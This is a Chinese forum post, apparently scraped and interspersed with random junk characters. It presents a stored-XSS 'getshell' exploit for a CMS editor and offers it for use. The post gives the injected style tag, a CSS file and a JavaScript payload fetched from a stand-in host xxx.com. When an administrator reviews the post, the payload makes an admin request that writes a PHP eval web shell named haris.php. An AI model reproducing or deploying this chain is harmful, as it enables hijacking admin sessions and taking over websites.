<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell7 \6 a1 E; \' ~" l9 M7 m" F
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)- U; D9 D2 o0 f' a1 S- ?
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。9 k$ d4 ?% r0 k5 W
下面说说利用方法。
+ D$ n1 r3 I: H+ Q1 x6 E条件有2个:9 }8 |! z" F% ^. Y/ r
1.开启注册
- v5 h# L! Y: y9 j+ S/ {3 e2.开启投稿+ C. v8 g/ H2 q* w- G A# ?
注册会员----发表文章( d1 D2 G" @6 l1 `
内容填写:: R. U; w: r1 [# v) M+ i/ H
复制代码7 {) G9 m# Q* i: ]. t% h6 _3 v
<style>@im\port'\http://xxx.com/xss.css';</style>! a: @3 c9 C' f% V2 `
新建XSS.Css
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$ s; u! |3 x0 E/ g: c4 x2 o) U3 R8 o# @.body{9 b' l. Y# N9 \% a
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }2 r+ X/ Z4 B8 c" y
新建xss.js 内容为) }# @4 G. I% T5 w0 `1 q
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: O, D' _( ~) M8 S$ n) O( t1.var request = false;
. ?% y" h1 h' a0 Q! r2.if(window.XMLHttpRequest) {, \6 x4 v" n1 W6 i. U. T5 \
3.request = new XMLHttpRequest();
6 D9 k9 V( R0 Y) B) U4.if(request.overrideMimeType) {
/ l2 ^1 J3 ^$ n2 @% O9 C- u5.request.overrideMimeType('text/xml');
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7.} else if(window.ActiveXObject) {
$ \( R4 M5 u% ~! \, t8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP']; H6 A( z5 D8 A9 h# g& w* l
9.for(var i=0; i<versions.length; i++) {
$ q! l, G. f& q7 X+ }' U10.try {" }6 j# k* u/ S
11.request = new ActiveXObject(versions);
+ ]9 {3 i( B" C4 Y' s12.} catch(e) {}. C5 g" z: b; Q7 b( N
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14.}
- G( d$ P2 ?% J% j9 k) H" P: a15.xmlhttp=request; V9 j- r3 W! W3 Q, n: R: I
16.function getFolder( url ){
: s1 [1 x" b* Y; J b4 @17. obj = url.split('/')
0 [" P& u1 t* Z) v* ]; Q- P6 \7 W18. return obj[obj.length-2]
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20.oUrl = top.location.href;
$ W# I. O8 R3 Q9 w, l21.u = getFolder(oUrl);
- J; ~, i. l/ u8 g* E$ Y22.add_admin();
" d: z% k! B. `23.function add_admin(){
9 b8 l0 a) h/ x; p; r4 p0 v6 {* {# V24.var url= "/"+u+"/sys_sql_query.php";
3 l2 d; a& A) L' F: N. z: i3 N- y25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
* j) N( O/ n, z* K2 _26.xmlhttp.open("POST", url, true);
& U* l- e8 |1 r6 f27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");: S9 w Y9 Z$ Y7 j) |
28.xmlhttp.setRequestHeader("Content-length", params.length);
8 I" i0 |, k* q& I29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");" k: U. B' x; q0 x1 W& N/ x4 p
30.xmlhttp.send(params);
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当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd |